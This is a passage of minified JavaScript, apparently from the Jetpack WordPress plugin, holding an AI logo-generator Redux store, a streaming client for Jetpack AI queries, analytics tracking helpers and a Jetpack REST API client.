await(0,r.A)({path:`/wp/v2/media/${Number(e)}`,method:&quot;GET&quot;}),!0}catch(e){const t=e?.data?.status;if(404===t)return!1;throw e}}},28229(e,t,s){&quot;use strict&quot;;s.d(t,{Z:()=&gt;n});var r=s(22746);async function n({siteId:e,imageId:t}){const s={site_logo:t,site_icon:t};return(0,r.A)({path:`/sites/${String(e)}/settings`,apiVersion:&quot;v2&quot;,apiNamespace:&quot;wp/v2&quot;,body:s,query:&quot;source=jetpack-ai&quot;,method:&quot;POST&quot;})}},22746(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(48931);let n=0;async function o(e){if(n+=1,n&gt;5)throw n-=1,new Error(&quot;Too many requests&quot;);return(0,r.A)(e).finally(()=&gt;{n-=1})}},9624(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(19362),n=s(22746),o=s(9938);const a={storeAiAssistantFeature:e=&gt;({type:o.UU,feature:e}),fetchAiAssistantFeature:()=&gt;async({dispatch:e})=&gt;{e({type:o.ql});try{const t=await(0,n.A)({path:&quot;/wpcom/v2/jetpack-ai/ai-assistant-feature&quot;,query:&quot;force=wpcom&quot;});if(t.data)throw new Error(&quot;Failed to fetch&quot;);e(a.storeAiAssistantFeature(function(e){return{hasFeature:!!e[&quot;has-feature&quot;],isOverLimit:!!e[&quot;is-over-limit&quot;],requestsCount:e[&quot;requests-count&quot;],requestsLimit:e[&quot;requests-limit&quot;],requireUpgrade:!!e[&quot;site-require-upgrade&quot;],errorMessage:e[&quot;error-message&quot;],errorCode:e[&quot;error-code&quot;],upgradeType:e[&quot;upgrade-type&quot;],usagePeriod:{currentStart:e[&quot;usage-period&quot;]?.[&quot;current-start&quot;],nextStart:e[&quot;usage-period&quot;]?.[&quot;next-start&quot;],requestsCount:e[&quot;usage-period&quot;]?.[&quot;requests-count&quot;]||0},currentTier:e[&quot;current-tier&quot;],nextTier:e[&quot;next-tier&quot;],tierPlansEnabled:!!e[&quot;tier-plans-enabled&quot;],costs:e.costs,featuresControl:e[&quot;features-control&quot;]}}(t)))}catch(t){e({type:o.Rx,error:t})}},increaseAiAssistantRequestsCount:(e=1)=&gt;({dispatch:t})=&gt;{t({type:o.Lg,count:e})},setAiAssistantFeatureRequireUpgrade:(e=!0)=&gt;({type:o.Kt,requireUpgrade:e}),setTierPlansEnabled:(e=!0)=&gt;({type:o.c1,tierPlansEnabled:e}),setSiteDetails:e=&gt;({type:o.Bz,siteDetails:e}),setSelectedLogoIndex:e=&gt;({type:o.BG,selectedLogoIndex:e}),addLogoToHistory:e=&gt;({type:o.sG,logo:e}),setIsSavingLogoToLibrary:e=&gt;({type:o.E6,isSavingLogoToLibrary:e}),setIsApplyingLogo:e=&gt;({type:o.Ep,isApplyingLogo:e}),updateSelectedLogo:(e,t)=&gt;({type:o.r_,mediaId:e,url:t}),setIsRequestingImage:e=&gt;({type:o.vk,isRequestingImage:e}),setIsEnhancingPrompt:e=&gt;({type:o.O5,isEnhancingPrompt:e}),loadLogoHistory(e){const t=(0,r.$t)(e);return{type:o.ZI,history:t}},setFeatureFetchError:e=&gt;({type:o.Rx,error:e}),setFirstLogoPromptFetchError:e=&gt;({type:o.MQ,error:e}),setEnhancePromptFetchError:e=&gt;({type:o.gG,error:e}),setLogoFetchError:e=&gt;({type:o.q_,error:e}),setSaveToLibraryError:e=&gt;({type:o.x0,error:e}),setLogoUpdateError:e=&gt;({type:o.FN,error:e}),setContext:e=&gt;({type:o.kZ,context:e}),setIsLoadingHistory:e=&gt;({type:o.hY,isLoadingHistory:e})},i=a},9938(e,t,s){&quot;use strict&quot;;s.d(t,{BG:()=&gt;h,Bz:()=&gt;l,E6:()=&gt;g,Ep:()=&gt;f,FN:()=&gt;S,GB:()=&gt;c,Kt:()=&gt;a,Lg:()=&gt;o,MQ:()=&gt;w,O5:()=&gt;k,Rx:()=&gt;j,UU:()=&gt;r,ZI:()=&gt;y,c1:()=&gt;i,gG:()=&gt;_,hY:()=&gt;x,kZ:()=&gt;p,mx:()=&gt;d,nb:()=&gt;u,q_:()=&gt;C,ql:()=&gt;n,r_:()=&gt;b,sG:()=&gt;m,vk:()=&gt;v,x0:()=&gt;A});const r=&quot;STORE_AI_ASSISTANT_FEATURE&quot;,n=&quot;REQUEST_AI_ASSISTANT_FEATURE&quot;,o=&quot;INCREASE_AI_ASSISTANT_REQUESTS_COUNT&quot;,a=&quot;SET_AI_ASSISTANT_FEATURE_REQUIRE_UPGRADE&quot;,i=&quot;SET_TIER_PLANS_ENABLED&quot;,l=&quot;SET_SITE_DETAILS&quot;,c=20,u=3e3,d=3,p=&quot;SET_CONTEXT&quot;,h=&quot;SET_SELECTED_LOGO_INDEX&quot;,m=&quot;ADD_LOGO_TO_HISTORY&quot;,g=&quot;SET_IS_SAVING_LOGO_TO_LIBRARY&quot;,f=&quot;SET_IS_APPLYING_LOGO&quot;,b=&quot;SAVE_SELECTED_LOGO&quot;,v=&quot;SET_IS_REQUESTING_IMAGE&quot;,k=&quot;SET_IS_ENHANCING_PROMPT&quot;,y=&quot;SET_SITE_HISTORY&quot;,x=&quot;SET_IS_LOADING_HISTORY&quot;,j=&quot;SET_FEATURE_FETCH_ERROR&quot;,w=&quot;SET_FIRST_LOGO_PROMPT_FETCH_ERROR&quot;,_=&quot;SET_ENHANCE_PROMPT_FETCH_ERROR&quot;,C=&quot;SET_LOGO_FETCH_ERROR&quot;,A=&quot;SET_SAVE_TO_LIBRARY_ERROR&quot;,S=&quot;SET_LOGO_UPDATE_ERROR&quot;},74423(e,t,s){&quot;use strict&quot;;s.d(t,{E:()=&gt;i});var r=s(47143),n=s(9624),o=s(23695),a=s(80037);const i=&quot;jetpack-ai/logo-generator&quot;,l=(0,r.createReduxStore)(i,{__experimentalUseThunks:!0,actions:n.A,reducer:o.A,selectors:a.A});(0,r.register)(l)},94891(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(9938);const n={siteDetails:{},features:{aiAssistantFeature:{hasFeature:!0,isOverLimit:!1,requestsCount:0,requestsLimit:r.GB,requireUpgrade:!1,errorMessage:&quot;&quot;,errorCode:&quot;&quot;,upgradeType:&quot;default&quot;,currentTier:{slug:&quot;ai-assistant-tier-free&quot;,value:0,limit:20},usagePeriod:{currentStart:&quot;&quot;,nextStart:&quot;&quot;,requestsCount:0},nextTier:null,tierPlansEnabled:!1,_meta:{isRequesting:!1,asyncRequestCountdown:r.mx,asyncRequestTimerId:0,isRequestingImage:!1},featuresControl:{&quot;logo-generator&quot;:{enabled:!1,styles:[]}}}},history:[],selectedLogoIndex:0}},23695(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(61356),n=s(9938),o=s(94891);function a(e=o.A,t){switch(t.type){case n.ql:return{...e,_meta:{...e._meta??{},featureFetchError:null},features:{...e.features,aiAssistantFeature:{...e.features.aiAssistantFeature,_meta:{...e?.features?.aiAssistantFeature?._meta,isRequesting:!0,asyncRequestCountdown:n.mx,asyncRequestTimerId:0}}}};case n.UU:{const s={&quot;jetpack-ai-logo-generator&quot;:{logo:r._S}};return{...e,features:{...e.features,aiAssistantFeature:{costs:s,...t.feature,requireUpgrade:t.feature?.requireUpgrade||0===t.feature?.currentTier?.value,_meta:{...e?.features?.aiAssistantFeature?._meta,isRequesting:!1}}}}}case n.Lg:{const s=e?.features?.aiAssistantFeature?.usagePeriod||{requestsCount:0},r=(e?.features?.aiAssistantFeature?.requestsCount||0)+(t.count??1);s.requestsCount+=t.count??1;const o=e?.features?.aiAssistantFeature?.currentTier?.value,a=void 0===o&amp;&amp;!e?.features?.aiAssistantFeature?.hasFeature||0===o,i=void 0===o&amp;&amp;e?.features?.aiAssistantFeature?.hasFeature||1===o;let l=e?.features?.aiAssistantFeature?.currentTier?.limit||n.GB;i?l=n.nb:a&amp;&amp;(l=e?.features?.aiAssistantFeature?.requestsLimit);const c=(i||a?r:e?.features?.aiAssistantFeature?.usagePeriod?.requestsCount||0)&gt;=l,u=a||c&amp;&amp;null!==e?.features?.aiAssistantFeature?.nextTier;return{...e,features:{...e.features,aiAssistantFeature:{...e.features.aiAssistantFeature,isOverLimit:c,requestsCount:r,requireUpgrade:u,usagePeriod:{...s}}}}}case n.Kt:return{...e,features:{...e.features,aiAssistantFeature:{...e.features.aiAssistantFeature,requireUpgrade:t.requireUpgrade,...t.requireUpgrade?{isOverLimit:!0}:{}}}};case n.c1:return{...e,features:{...e.features,aiAssistantFeature:{...e.features.aiAssistantFeature,tierPlansEnabled:t.tierPlansEnabled}}};case n.Bz:return{...e,siteDetails:t.siteDetails};case n.BG:return{...e,selectedLogoIndex:t.selectedLogoIndex};case n.sG:{const s=[...e.history,t.logo];return{...e,history:s,selectedLogoIndex:s.length-1}}case n.E6:return{...e,_meta:{...e._meta??{},isSavingLogoToLibrary:t.isSavingLogoToLibrary}};case n.Ep:return{...e,_meta:{...e._meta??{},isApplyingLogo:t.isApplyingLogo}};case n.r_:{const s=e.history?.[e.selectedLogoIndex];return{...e,history:[...e.history.slice(0,e.selectedLogoIndex),{...s,mediaId:t.mediaId,url:t.url},...e.history.slice(e.selectedLogoIndex+1)]}}case n.vk:return{...e,_meta:{...e._meta??{},isRequestingImage:t.isRequestingImage}};case n.O5:return{...e,_meta:{...e._meta??{},isEnhancingPrompt:t.isEnhancingPrompt}};case n.ZI:return{...e,history:t.history,selectedLogoIndex:t.history?.length?t.history.length-1:0};case n.Rx:return{...e,features:{...e.features,aiAssistantFeature:{...e?.features?.aiAssistantFeature,_meta:{...e?.features?.aiAssistantFeature?._meta,isRequesting:!1}}},_meta:{...e._meta??{},featureFetchError:t.error}};case n.MQ:return{...e,_meta:{...e._meta??{},firstLogoPromptFetchError:t.error}};case n.gG:return{...e,_meta:{...e._meta??{},enhancePromptFetchError:t.error}};case n.q_:return{...e,_meta:{...e._meta??{},logoFetchError:t.error}};case n.x0:return{...e,_meta:{...e._meta??{},saveToLibraryError:t.error}};case n.FN:return{...e,_meta:{...e._meta??{},logoUpdateError:t.error}};case n.kZ:return{...e,_meta:{...e._meta??{},context:t.context}};case n.hY:return{...e,_meta:{...e._meta??{},isLoadingHistory:t.isLoadingHistory}}}return e}},80037(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(61356);const n={getAiAssistantFeature(e){const t={...e.features.aiAssistantFeature};return delete t._meta,t},getSiteDetails:e=&gt;e.siteDetails,getIsRequestingAiAssistantFeature:e=&gt;e.features.aiAssistantFeature?._meta?.isRequesting??!1,getLogos:e=&gt;e.history??[],getSelectedLogoIndex:e=&gt;e.selectedLogoIndex??null,getSelectedLogo:e=&gt;e.history?.[e.selectedLogoIndex]??null,getIsSavingLogoToLibrary:e=&gt;e._meta?.isSavingLogoToLibrary??!1,getIsApplyingLogo:e=&gt;e._meta?.isApplyingLogo??!1,getIsEnhancingPrompt:e=&gt;e._meta?.isEnhancingPrompt??!1,getIsRequestingImage:e=&gt;e._meta?.isRequestingImage??!1,getIsBusy:e=&gt;n.getIsApplyingLogo(e)||n.getIsSavingLogoToLibrary(e)||n.getIsRequestingImage(e)||n.getIsEnhancingPrompt(e),getRequireUpgrade(e){const t=e.features.aiAssistantFeature;if(!t?.tierPlansEnabled)return t?.requireUpgrade;const s=t?.costs?.[&quot;jetpack-ai-logo-generator&quot;]?.logo??r._S,n=t?.currentTier?.value||0,o=t?.usagePeriod?.requestsCount||0,a=1===n,i=!t?.nextTier;return e.features.aiAssistantFeature?.requireUpgrade||!a&amp;&amp;!i&amp;&amp;n-o&lt;s},getFeatureFetchError:e=&gt;e._meta?.featureFetchError??null,getFirstLogoPromptFetchError:e=&gt;e._meta?.firstLogoPromptFetchError??null,getEnhancePromptFetchError:e=&gt;e._meta?.enhancePromptFetchError??null,getLogoFetchError:e=&gt;e._meta?.logoFetchError??null,getSaveToLibraryError:e=&gt;e._meta?.saveToLibraryError??null,getLogoUpdateError:e=&gt;e._meta?.logoUpdateError??null,getContext:e=&gt;e._meta?.context??&quot;&quot;,getTierPlansEnabled:e=&gt;e.features.aiAssistantFeature?.tierPlansEnabled??!1,getIsLoadingHistory:e=&gt;e._meta?.isLoadingHistory??!1},o=n},53664(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(7675),n=s(10067),o=s.n(n),a=s(46219),i=s(51391),l=s(78836);const c=o()(&quot;jetpack-ai-client:suggestions-event-source&quot;);class u extends EventTarget{constructor(e){super(),this.fullMessage=&quot;&quot;,this.fullFunctionCall={name:&quot;&quot;,arguments:&quot;&quot;},this.isPromptClear=!1,this.controller=new AbortController,this.initEventSource(e)}async initEventSource({url:e,question:t,token:s,options:n={}}){if(!s)try{c(&quot;Token was not provided, requesting one...&quot;),s=(await(0,i.A)()).token}catch(e){return void this.processErrorEvent(e)}const o={};if(Number.isInteger(parseInt(n.postId))&amp;&amp;(o.post_id=+n.postId),!e){const t=new URL(&quot;https://public-api.wordpress.com/wpcom/v2/jetpack-ai-query&quot;);n?.fromCache&amp;&amp;t.searchParams.append(&quot;stream_cache&quot;,&quot;true&quot;),e=t.toString(),c(&quot;URL not provided, using default: %o&quot;,e)}Array.isArray(t)?o.messages=t:o.question=t,n?.feature?.length&amp;&amp;(c(&quot;Feature: %o&quot;,n.feature),o.feature=n.feature),n?.functions?.length&amp;&amp;(c(&quot;Functions: %o&quot;,n.functions),o.functions=n.functions),n?.model?.length&amp;&amp;(c(&quot;Model: %o&quot;,n.model),o.model=n.model),n?.languageCode?.length&amp;&amp;(c(&quot;Language: %o&quot;,n.languageCode),o.language_code=n.languageCode),this.errorUnclearPromptTriggered=!1,await(0,r.y)(e,{openWhenHidden:!0,method:&quot;POST&quot;,headers:{&quot;Content-type&quot;:&quot;application/json&quot;,Authorization:&quot;Bearer &quot;+s},body:JSON.stringify(o),onclose:()=&gt;{c(&quot;Stream closed&quot;)},onerror:e=&gt;{throw this.processErrorEvent(e),e},onmessage:e=&gt;{this.processEvent(e)},onopen:async e=&gt;{if(e.ok)return;let t;throw e.status&gt;=400&amp;&amp;e.status&lt;=500&amp;&amp;![413,422,429].includes(e.status)&amp;&amp;(c(&quot;Connection error: %o&quot;,e),t=l.mA,this.dispatchEvent(new CustomEvent(l.mA,{detail:e}))),503===e.status&amp;&amp;(t=l.AZ,this.dispatchEvent(new CustomEvent(l.AZ))),413===e.status&amp;&amp;(t=l.cT,this.dispatchEvent(new CustomEvent(l.cT))),422===e.status&amp;&amp;(t=l.ud,this.dispatchEvent(new CustomEvent(l.ud))),429===e.status&amp;&amp;(t=l.Or,this.dispatchEvent(new CustomEvent(l.Or))),this.dispatchEvent(new CustomEvent(l.zn,{detail:(0,a.fC)(t)})),new Error},signal:this.controller.signal})}checkForUnclearPrompt(){if(this.isPromptClear)return;const e=this.fullMessage.replace(/__|(\*\*)/g,&quot;&quot;);if(e.startsWith(&quot;JETPACK_AI_ERROR&quot;)){if(this.errorUnclearPromptTriggered)return;this.errorUnclearPromptTriggered=!0,this.dispatchEvent(new CustomEvent(l.L9)),c(&quot;Unclear error prompt dispatched&quot;),this.dispatchEvent(new CustomEvent(l.zn,{detail:(0,a.fC)(l.L9)}))}else&quot;JETPACK_AI_ERROR&quot;.startsWith(e)?c(this.fullMessage):this.isPromptClear=!0}close(){this.controller.abort()}processEvent(e){if(&quot;[DONE]&quot;===e.data){if(this.errorUnclearPromptTriggered)return;if(this.fullMessage.length)return this.dispatchEvent(new CustomEvent(&quot;done&quot;,{detail:this.fullMessage})),void c(&quot;Done: %o&quot;,this.fullMessage);if(this.fullFunctionCall.name.length)return this.dispatchEvent(new CustomEvent(&quot;function_done&quot;,{detail:this.fullFunctionCall})),void c(&quot;Done: %o&quot;,this.fullFunctionCall)}let t;try{t=JSON.parse(e.data)}catch(t){return void c(&quot;Error parsing JSON&quot;,e,t)}const{delta:s}=t?.choices?.[0]??{delta:{content:null,function_call:null}},r=s.content,n=s.function_call;r&amp;&amp;(this.fullMessage+=r,this.checkForUnclearPrompt(),this.isPromptClear&amp;&amp;(this.dispatchEvent(new CustomEvent(&quot;chunk&quot;,{detail:r})),c(&quot;suggestion: %o&quot;,this.fullMessage),this.dispatchEvent(new CustomEvent(&quot;suggestion&quot;,{detail:this.fullMessage})))),n&amp;&amp;(null!=n.name&amp;&amp;(this.fullFunctionCall.name+=n.name),null!=n.arguments&amp;&amp;(this.fullFunctionCall.arguments+=n.arguments),this.dispatchEvent(new CustomEvent(&quot;functionCallChunk&quot;,{detail:this.fullFunctionCall})))}processErrorEvent(e){c(&quot;onerror: %o&quot;,e),this.dispatchEvent(new CustomEvent(l.mA,{detail:e})),this.dispatchEvent(new CustomEvent(l.zn,{detail:(0,a.fC)(l.mA)}))}}},78836(e,t,s){&quot;use strict&quot;;s.d(t,{AZ:()=&gt;n,L9:()=&gt;c,Np:()=&gt;d,Or:()=&gt;o,cT:()=&gt;i,mA:()=&gt;l,uH:()=&gt;r.u,ud:()=&gt;a,zn:()=&gt;u});var r=s(97784);const n=&quot;error_service_unavailable&quot;,o=&quot;error_quota_exceeded&quot;,a=&quot;error_moderation&quot;,i=&quot;error_context_too_large&quot;,l=&quot;error_network&quot;,c=&quot;error_unclear_prompt&quot;,u=&quot;error_response&quot;,d=&quot;default&quot;},90372(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(10067);const n=s.n(r)()(&quot;dops:analytics&quot;);let o,a;window._tkq=window._tkq||[],window.ga=window.ga||function(){(window.ga.q=window.ga.q||[]).push(arguments)},window.ga.l=+new Date;const i={initialize:function(e,t,s){i.setUser(e,t),i.setSuperProps(s),i.identifyUser()},setGoogleAnalyticsEnabled:function(e,t=null){this.googleAnalyticsEnabled=e,this.googleAnalyticsKey=t},setMcAnalyticsEnabled:function(e){this.mcAnalyticsEnabled=e},setUser:function(e,t){a={ID:e,username:t}},setSuperProps:function(e){o=e},assignSuperProps:function(e){o=Object.assign(o||{},e)},mc:{bumpStat:function(e,t){const s=function(e,t){let s=&quot;&quot;;if(&quot;object&quot;==typeof e){for(const t in e)s+=&quot;&amp;x_&quot;+encodeURIComponent(t)+&quot;=&quot;+encodeURIComponent(e[t]);n(&quot;Bumping stats %o&quot;,e)}else s=&quot;&amp;x_&quot;+encodeURIComponent(e)+&quot;=&quot;+encodeURIComponent(t),n(&#039;Bumping stat &quot;%s&quot; in group &quot;%s&quot;&#039;,t,e);return s}(e,t);i.mcAnalyticsEnabled&amp;&amp;((new Image).src=document.location.protocol+&quot;//pixel.wp.com/g.gif?v=wpcom-no-pv&quot;+s+&quot;&amp;t=&quot;+Math.random())},bumpStatWithPageView:function(e,t){const s=function(e,t){let s=&quot;&quot;;if(&quot;object&quot;==typeof e){for(const t in e)s+=&quot;&amp;&quot;+encodeURIComponent(t)+&quot;=&quot;+encodeURIComponent(e[t]);n(&quot;Built stats %o&quot;,e)}else s=&quot;&amp;&quot;+encodeURIComponent(e)+&quot;=&quot;+encodeURIComponent(t),n(&#039;Built stat &quot;%s&quot; in group &quot;%s&quot;&#039;,t,e);return s}(e,t);i.mcAnalyticsEnabled&amp;&amp;((new Image).src=document.location.protocol+&quot;//pixel.wp.com/g.gif?v=wpcom&quot;+s+&quot;&amp;t=&quot;+Math.random())}},pageView:{record:function(e,t){i.tracks.recordPageView(e),i.ga.recordPageView(e,t)}},purchase:{record:function(e,t,s,r,n,o,a){i.ga.recordPurchase(e,t,s,r,n,o,a)}},tracks:{recordEvent:function(e,t){t=t||{},0===e.indexOf(&quot;akismet_&quot;)||0===e.indexOf(&quot;jetpack_&quot;)?(!t.blog_id&amp;&amp;&quot;object&quot;==typeof window.jpTracksContext&amp;&amp;window.jpTracksContext.blog_id&amp;&amp;(t.blog_id=window.jpTracksContext.blog_id),o&amp;&amp;(n(&quot;- Super Props: %o&quot;,o),t=Object.assign(t,o)),n(&#039;Record event &quot;%s&quot; called with props %s&#039;,e,JSON.stringify(t)),window._tkq.push([&quot;recordEvent&quot;,e,t])):n(&#039;- Event name must be prefixed by &quot;akismet_&quot; or &quot;jetpack_&quot;&#039;)},recordJetpackClick:function(e){const t=&quot;object&quot;==typeof e?e:{target:e};i.tracks.recordEvent(&quot;jetpack_wpa_click&quot;,t)},recordPageView:function(e){i.tracks.recordEvent(&quot;akismet_page_view&quot;,{path:e})},setOptOut:function(e){n(&quot;Pushing setOptOut: %o&quot;,e),window._tkq.push([&quot;setOptOut&quot;,e])}},ga:{initialized:!1,initialize:function(){let e={};i.ga.initialized||(a&amp;&amp;(e={userId:&quot;u-&quot;+a.ID}),window.ga(&quot;create&quot;,this.googleAnalyticsKey,&quot;auto&quot;,e),i.ga.initialized=!0)},recordPageView:function(e,t){i.ga.initialize(),n(&quot;Recording Page View ~ [URL: &quot;+e+&quot;] [Title: &quot;+t+&quot;]&quot;),this.googleAnalyticsEnabled&amp;&amp;(window.ga(&quot;set&quot;,&quot;page&quot;,e),window.ga(&quot;send&quot;,{hitType:&quot;pageview&quot;,page:e,title:t}))},recordEvent:function(e,t,s,r){i.ga.initialize();let o=&quot;Recording Event ~ [Category: &quot;+e+&quot;] [Action: &quot;+t+&quot;]&quot;;void 0!==s&amp;&amp;(o+=&quot; [Option Label: &quot;+s+&quot;]&quot;),void 0!==r&amp;&amp;(o+=&quot; [Option Value: &quot;+r+&quot;]&quot;),n(o),this.googleAnalyticsEnabled&amp;&amp;window.ga(&quot;send&quot;,&quot;event&quot;,e,t,s,r)},recordPurchase:function(e,t,s,r,n,o,a){window.ga(&quot;require&quot;,&quot;ecommerce&quot;),window.ga(&quot;ecommerce:addTransaction&quot;,{id:e,revenue:r,currency:a}),window.ga(&quot;ecommerce:addItem&quot;,{id:e,name:t,sku:s,price:n,quantity:o}),window.ga(&quot;ecommerce:send&quot;)}},identifyUser:function(){a&amp;&amp;window._tkq.push([&quot;identifyUser&quot;,a.ID,a.username])},setProperties:function(e){window._tkq.push([&quot;setProperties&quot;,e])},clearedIdentity:function(){window._tkq.push([&quot;clearIdentity&quot;])}},l=i},5932(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;d});var r=s(56439),n=s(93832);function o(e){class t extends Error{constructor(...t){super(...t),this.name=e}}return t}const a=o(&quot;JsonParseError&quot;),i=o(&quot;JsonParseAfterRedirectError&quot;),l=o(&quot;Api404Error&quot;),c=o(&quot;Api404AfterRedirectError&quot;),u=o(&quot;FetchNetworkError&quot;);const d=new function(e,t){let s=e,o=e,a={&quot;X-WP-Nonce&quot;:t},i={credentials:&quot;same-origin&quot;,headers:a},l={method:&quot;post&quot;,credentials:&quot;same-origin&quot;,headers:Object.assign({},a,{&quot;Content-type&quot;:&quot;application/json&quot;})},c=function(e){const t=e.split(&quot;?&quot;),s=t.length&gt;1?t[1]:&quot;&quot;,r=s.length?s.split(&quot;&amp;&quot;):[];return r.push(&quot;_cacheBuster=&quot;+(new Date).getTime()),t[0]+&quot;?&quot;+r.join(&quot;&amp;&quot;)};const u={setApiRoot(e){s=e},setWpcomOriginApiUrl(e){o=e},setApiNonce(e){a={&quot;X-WP-Nonce&quot;:e},i={credentials:&quot;same-origin&quot;,headers:a},l={method:&quot;post&quot;,credentials:&quot;same-origin&quot;,headers:Object.assign({},a,{&quot;Content-type&quot;:&quot;application/json&quot;})}},setCacheBusterCallback:e=&gt;{c=e},registerSite:(e,t,n)=&gt;{const o={};return(0,r.jetpackConfigHas)(&quot;consumer_slug&quot;)&amp;&amp;(o.plugin_slug=(0,r.jetpackConfigGet)(&quot;consumer_slug&quot;)),null!==t&amp;&amp;(o.redirect_uri=t),n&amp;&amp;(o.from=n),m(`${s}jetpack/v4/connection/register`,l,{body:JSON.stringify(o)}).then(p).then(h)},fetchAuthorizationUrl:e=&gt;d((0,n.addQueryArgs)(`${s}jetpack/v4/connection/authorize_url`,{no_iframe:&quot;1&quot;,redirect_uri:e}),i).then(p).then(h),fetchSiteConnectionData:()=&gt;d(`${s}jetpack/v4/connection/data`,i).then(h),fetchSiteConnectionStatus:()=&gt;d(`${s}jetpack/v4/connection`,i).then(h),fetchSiteConnectionTest:()=&gt;d(`${s}jetpack/v4/connection/test`,i).then(p).then(h),fetchUserConnectionData:()=&gt;d(`${s}jetpack/v4/connection/data`,i).then(h),fetchUserTrackingSettings:()=&gt;d(`${s}jetpack/v4/tracking/settings`,i).then(p).then(h),updateUserTrackingSettings:e=&gt;m(`${s}jetpack/v4/tracking/settings`,l,{body:JSON.stringify(e)}).then(p).then(h),disconnectSite:()=&gt;m(`${s}jetpack/v4/connection`,l,{body:JSON.stringify({isActive:!1})}).then(p).then(h),fetchConnectUrl:()=&gt;d(`${s}jetpack/v4/connection/url`,i).then(p).then(h),unlinkUser:(e=!1,t={})=&gt;{const r={linked:!1,force:!!e};return t.disconnectAllUsers&amp;&amp;(r[&quot;disconnect-all-users&quot;]=!0),m(`${s}jetpack/v4/connection/user`,l,{body:JSON.stringify(r)}).then(p).then(h)},reconnect:()=&gt;m(`${s}jetpack/v4/connection/reconnect`,l).then(p).then(h),fetchConnectedPlugins:()=&gt;d(`${s}jetpack/v4/connection/plugins`,i).then(p).then(h),setHasSeenWCConnectionModal:()=&gt;m(`${s}jetpack/v4/seen-wc-connection-modal`,l).then(p).then(h),fetchModules:()=&gt;d(`${s}jetpack/v4/module/all`,i).then(p).then(h),fetchModule:e=&gt;d(`${s}jetpack/v4/module/${e}`,i).then(p).then(h),activateModule:e=&gt;m(`${s}jetpack/v4/module/${e}/active`,l,{body:JSON.stringify({active:!0})}).then(p).then(h),deactivateModule:e=&gt;m(`${s}jetpack/v4/module/${e}/active`,l,{body:JSON.stringify({active:!1})}),updateModuleOptions:(e,t)=&gt;m(`${s}jetpack/v4/module/${e}`,l,{body:JSON.stringify(t)}).then(p).then(h),updateSettings:e=&gt;m(`${s}jetpack/v4/settings`,l,{body:JSON.stringify(e)}).then(p).then(h),getProtectCount:()=&gt;d(`${s}jetpack/v4/module/protect/data`,i).then(p).then(h),resetOptions:e=&gt;m(`${s}jetpack/v4/options/${e}`,l,{body:JSON.stringify({reset:!0})}).then(p).then(h),activateVaultPress:()=&gt;m(`${s}jetpack/v4/plugins`,l,{body:JSON.stringify({slug:&quot;vaultpress&quot;,status:&quot;active&quot;})}).then(p).then(h),getVaultPressData:()=&gt;d(`${s}jetpack/v4/module/vaultpress/data`,i).then(p).then(h),installPlugin:(e,t)=&gt;{const r={slug:e,status:&quot;active&quot;};return t&amp;&amp;(r.source=t),m(`${s}jetpack/v4/plugins`,l,{body:JSON.stringify(r)}).then(p).then(h)},activateAkismet:()=&gt;m(`${s}jetpack/v4/plugins`,l,{body:JSON.stringify({slug:&quot;akismet&quot;,status:&quot;active&quot;})}).then(p).then(h),getAkismetData:()=&gt;d(`${s}jetpack/v4/module/akismet/data`,i).then(p).then(h),checkAkismetKey:()=&gt;d(`${s}jetpack/v4/module/akismet/key/check`,i).then(p).then(h),checkAkismetKeyTyped:e=&gt;m(`${s}jetpack/v4/module/akismet/key/check`,l,{body:JSON.stringify({api_key:e})}).then(p).then(h),getFeatureTypeStatus:e=&gt;d(`${s}jetpack/v4/feature/${e}`,i).then(p).then(h),fetchStatsData:e=&gt;d(function(e){let t=`${s}jetpack/v4/module/stats/data`;-1!==t.indexOf(&quot;?&quot;)?t+=`&amp;range=${encodeURIComponent(e)}`:t+=`?range=${encodeURIComponent(e)}`;return t}(e),i).then(p).then(h).then(f),getPluginUpdates:()=&gt;d(`${s}jetpack/v4/updates/plugins`,i).then(p).then(h),getPlans:()=&gt;d(`${s}jetpack/v4/plans`,i).then(p).then(h),fetchSettings:()=&gt;d(`${s}jetpack/v4/settings`,i).then(p).then(h),updateSetting:e=&gt;m(`${s}jetpack/v4/settings`,l,{body:JSON.stringify(e)}).then(p).then(h),fetchSiteData:()=&gt;d(`${s}jetpack/v4/site`,i).then(p).then(h).then(e=&gt;JSON.parse(e.data)),fetchSiteFeatures:()=&gt;d(`${s}jetpack/v4/site/features`,i).then(p).then(h).then(e=&gt;JSON.parse(e.data)),fetchSiteProducts:()=&gt;d(`${s}jetpack/v4/site/products`,i).then(p).then(h),fetchSitePurchases:()=&gt;d(`${s}jetpack/v4/site/purchases`,i).then(p).then(h).then(e=&gt;JSON.parse(e.data)),fetchSiteBenefits:()=&gt;d(`${s}jetpack/v4/site/benefits`,i).then(p).then(h).then(e=&gt;JSON.parse(e.data)),fetchSiteDiscount:()=&gt;d(`${s}jetpack/v4/site/discount`,i).then(p).then(h).then(e=&gt;e.data),fetchSetupQuestionnaire:()=&gt;d(`${s}jetpack/v4/setup/questionnaire`,i).then(p).then(h),fetchRecommendationsData:()=&gt;d(`${s}jetpack/v4/recommendations/data`,i).then(p).then(h),fetchRecommendationsProductSuggestions:()=&gt;d(`${s}jetpack/v4/recommendations/product-suggestions`,i).then(p).then(h),fetchRecommendationsUpsell:()=&gt;d(`${s}jetpack/v4/recommendations/upsell`,i).then(p).then(h),fetchRecommendationsConditional:()=&gt;d(`${s}jetpack/v4/recommendations/conditional`,i).then(p).then(h),saveRecommendationsData:e=&gt;m(`${s}jetpack/v4/recommendations/data`,l,{body:JSON.stringify({data:e})}).then(p),fetchProducts:()=&gt;d(`${s}jetpack/v4/products`,i).then(p).then(h),fetchRewindStatus:()=&gt;d(`${s}jetpack/v4/rewind`,i).then(p).then(h).then(e=&gt;JSON.parse(e.data)),fetchScanStatus:()=&gt;d(`${s}jetpack/v4/scan`,i).then(p).then(h).then(e=&gt;JSON.parse(e.data)),dismissJetpackNotice:e=&gt;m(`${s}jetpack/v4/notice/${e}`,l,{body:JSON.stringify({dismissed:!0})}).then(p).then(h),fetchPluginsData:()=&gt;d(`${s}jetpack/v4/plugins`,i).then(p).then(h),fetchIntroOffers:()=&gt;d(`${s}